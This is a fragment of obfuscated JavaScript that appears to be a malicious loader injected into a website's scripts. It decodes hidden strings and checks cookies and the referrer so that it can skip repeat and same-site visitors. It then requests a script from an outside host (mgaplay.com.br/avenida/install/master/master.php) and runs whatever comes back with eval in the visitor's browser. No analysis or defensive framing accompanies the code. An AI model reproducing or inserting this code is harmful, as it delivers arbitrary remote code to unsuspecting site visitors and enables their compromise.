T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};